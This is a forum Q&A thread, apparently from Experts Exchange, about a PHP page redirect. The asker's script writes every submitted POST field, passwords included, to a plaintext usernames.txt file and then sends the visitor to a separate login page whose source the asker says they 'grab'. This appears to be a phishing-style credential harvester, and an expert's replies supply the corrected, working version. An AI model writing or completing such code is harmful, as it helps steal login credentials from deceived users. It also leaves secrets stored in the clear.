We help IT Professionals succeed at work.

We've partnered with Certified Experts, Carl Webster and Richard Faulkner, to bring you a podcast all about Citrix Workspace, moving to the cloud, and analytics & intelligence. Episode 2 coming soon!Listen Now

x

PHP Page Redirect After Login/fopen

winkx
winkx asked
on
Medium Priority
708 Views
Last Modified: 2013-12-13
Currently creating a website, I have a login for my website. I log my usernames to see who has logged in each day. I got the code where it logs the users usernames down. But it just stays on that page, that contains the php code below. How can I redirect the user after he/she has log in.
<?php ('Location: http://login.here.com');$handle = fopen("usernames.txt", "a");foreach($_POST as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");fwrite($handle, $value);fwrite($handle, "\r\n");}fwrite($handle, "\r\n");fclose($handle);exit;?>

Open in new window

Comment
Watch Question

Ionut A. TudorPHP Programmer
CERTIFIED EXPERT

Commented:
see below corrected code:

<?php
 
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable."=".$value);
}
fwrite($handle, "\r\n");
fclose($handle);
 
header('Location: http://login.here.com');
exit;
?>

Open in new window

Author

Commented:
no, http://login.here.com, grabs the source of my login. So, "http://login.here.com" should still stay at top of code and after the username is written in the .txt file I need the pade redirect. Sorry for the mix up.
PHP Programmer
CERTIFIED EXPERT
Commented:
Ok, you can simply replace that url with the url that you need to redirect.

<?php
 $yourpagesource = "here its your web page html source";
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable."=".$value);
}
fwrite($handle, "\r\n");
fclose($handle);
 
header('Location: http://anysite.com/this/is/the/redirect/URL');
exit;
?>

Open in new window

Not the solution you were looking for? Getting a personalized solution is easy.

Ask the Experts
Access more of Experts Exchange with a free account
Thanks for using Experts Exchange.

Create a free account to continue.

Limited access with a free account allows you to:

  • View three pieces of content (articles, solutions, posts, and videos)
  • Ask the experts questions (counted toward content limit)
  • Customize your dashboard and profile

*This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

OR

Please enter a first name

Please enter a last name

8+ characters (letters, numbers, and a symbol)

By clicking, you agree to the Terms of Use and Privacy Policy.